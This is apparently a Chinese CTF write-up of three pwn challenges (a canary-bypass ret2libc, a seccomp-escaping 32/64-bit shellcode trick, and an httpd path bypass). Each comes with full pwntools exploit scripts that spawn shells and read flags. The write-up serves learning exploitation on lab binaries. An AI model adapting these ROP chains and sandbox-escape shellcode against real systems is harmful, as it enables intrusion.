《招新赛》
西电的前辈们太会玩惹
学长们该上班的上班,该摸鱼的摸鱼去了,就俺一个人打,没得到什么场外支持,也算是对自己能力的一次考验吧
学到的知识
(1)scanf(“%ns”,s):限制scanf只能读n个字节的字符串
比赛题解
god
多线程绕canary的板子题,同类的有Hgame2022的welcome to the pwn land
libc
2.31
保护
ida
通过这里的任意栈地址写修改TSS段的canary绕过,然后通过:
泄露canary,没开pie直接ret2即可
exp
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
r=process('./gods',env={"LD_PRELODA":"./libc-2.31.so"})
elf=ELF('./gods')
libc=ELF("./libc-2.31.so")
put_got=elf.got["puts"]
put_plt=elf.plt['puts']
one=[0xe3b2e,0xe3b31,0xe3b34]
pdt=0x4015d3 ##pop rdi ; ret
##r = remote("chuj.top", 51904)
def z():
gdb.attach(r)
##leak_libc
##z()
r.sendlineafter("(*^_^*)","yes")
r.sendlineafter("Rank: ",str(2))
r.sendlineafter("Name: ",'a'*7)
r.sendlineafter("Rank: ",str(272))
r.sendlineafter("Name: ","nameles")
pd='a'*0x18+'nameles\x00'+'a'*8+p64(pdt)+p64(put_got)+p64(put_plt)+p64(0x401236)
r.sendlineafter("what's your name?",pd)
r.recvuntil("of XDSEC!\n")
libcbase=u64(r.recvuntil("\x7f").ljust(8,'\x00'))-libc.sym['puts']
log.success("libcbase:"+hex(libcbase))
##set lib_fuc
onegadget=one[2]+libcbase
binsh=libcbase+libc.search('/bin/sh').next()
system=libcbase+libc.sym['system']
##get_shell
pd='a'*0x18+'nameles\x00'+'a'*8+p64(0x40101a)+p64(pdt)+p64(binsh)+p64(system)
r.sendlineafter("what's your name?",pd)
r.interactive()
shellcode
算是倒数第二难的shellcode题(第一还限制了读入的shellcode的字节和格式)
沙箱
好家伙,open都禁了
保护
ida
大概就是把写的东西当作code执行
但是有个check,看看check了啥:
这是个啥?暂时不用管,我们先想想咋解决没有open
看看64位调用表
linux 系统调用号表_Anciety的博客-CSDN博客_系统调用号
发现
那么如果我们能在64位下使用32位的系统调用,就可以用open
直接int80行不?
答案是不行。区别32位和64位的关键在于CS寄存器的值,0x23表示32位,0x33表示64位
那么怎么修改呢?通过长距离跳转的返回指令retfq(64位)或者retf(32位)
这两个指令相当于下面两个指令的复合:
pop cs
pop ip(rsp或esp)
ret
进入64位还要需要寻址的不同,32位下是4字节,64位已有的内存地址肯定不行。那么我们可以通过mmap申请一个地址为0x40404000的内存区域供32位环境下使用
回到刚刚的check,用
print(asm('retfq'))
发现,正好就是’\xCB’,怎么办呢?其实是很简单的截断,就在shellcode前补一个‘\x00’就好
exp
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
##r=process('./shellcode')
r=remote('pwn.archive.xdsec.chall.frankli.site',10070)
##mmap(0x40404040,0x7e,7,34,0,0)
def asm64(shell):
return asm(shell,arch = 'amd64',os = 'linux')
def asm32(shell):
return asm(shell,arch = 'i386',os = 'linux')
sys_mmap='''
push 0x40404040;
mov r9,rax;
push 0x40404040;
push 0x200;
push 0x7;
push 0x34;
pop rcx;
pop rdx;
pop rsi;
pop rdi;
xor r8,r8;
mov rax,9;
syscall;
'''
##read_in_0x40404040
sys_read='''
push 0x400;
pop rdx;
xor rdi,rdi;
mov rsi,rax;
xor rax,rax;
syscall;
'''
##sys_read_content
content='''
push 0x23;
push 0x40403040;
mov rax,0x1000;
add [rsp],rax;
retfq;
'''
##sys_open_flag
sys_open='''
mov esp,0x40404020;
mov ebx,0x40404020;
xor ecx,ecx;
mov eax,0x5;
int 0x80;
mov ebx,eax;
add esp,0x80;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
retfq;
'''
##to_32
to_32='''
jmp rsi;
'''
##sys_read
syss_read='''
mov rsp,0x40404070;
mov rdi,rbx;
mov rsi,0x40404150;
mov rdx,0x40;
xor rax,rax;
syscall;
'''
##sys_write
sys_write='''
mov rdi,1;
mov rax,rdi;
syscall;
'''
shellcode='\x00'+asm64(sys_mmap)+asm64(sys_read)+asm64(to_32)
shellcode=shellcode.ljust(0x50,'\x00')
##print(len(shellcode))
print('test:'+str(len(asm64('nop'))))
content=asm64(content)
content=content.ljust(0x20,'\x00')+'./flag.txt'.ljust(16,'\x00')
content=content.ljust(0x40,'\x00')+asm64(sys_open)
##print('test:'+str(len(asm64(sys_open))))
content=content.ljust(0x5a,'\x00')+asm64(syss_read)+asm64(sys_write)
content=content.ljust(0xa0,'\x00')+p32(0x40404069)+p32(0x33)
r.send(shellcode)
sleep(3)
r.send(content)
##flag=r.recvline()
##print(flag)
r.interactive()
Easyhttpd
考查远程监听问题,主要是如何通过连接疏通accept函数的阻塞
保护
ida
主要是这个accept函数,会一直被动地等待端口连接,需要在脚本里加入
r=remote('0.0.0.0',2048) ##本地
r=remote('dockerip',docker端口) ##远程
就可以实现用send和recv进行的这个进程和连接的交互
其它的就是一些很简单的绕过了
比如
可以直接令S1=‘/home/minil//flag’
exp
import os
from pwn import *
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
r=process('./easy')
##r = remote("pwn.archive.xdsec.chall.frankli.site", 10008)
def z():
gdb.attach(r)
##z()
##gdb.attach(r)
s=remote('pwn.archive.xdsec.chall.frankli.site',10008)
##s=remote('0.0.0.0',10008)
##pd="GET "+'./flag'+'\r\n'+"User-Agent: "+'MiniL'+'\r\n\r\n'
pd="GET "+'/home/minil//flag'+'\r\n'+"User-Agent: "+'MiniL'+'\r\n\r\n'
pd=pd.ljust(255,'\x00')
s.send(pd)
s.interactive()
##r.sendlineafter("Welcome to 2022 MiniL\n",string)
os.system('netstat -aptn')
r.interactive()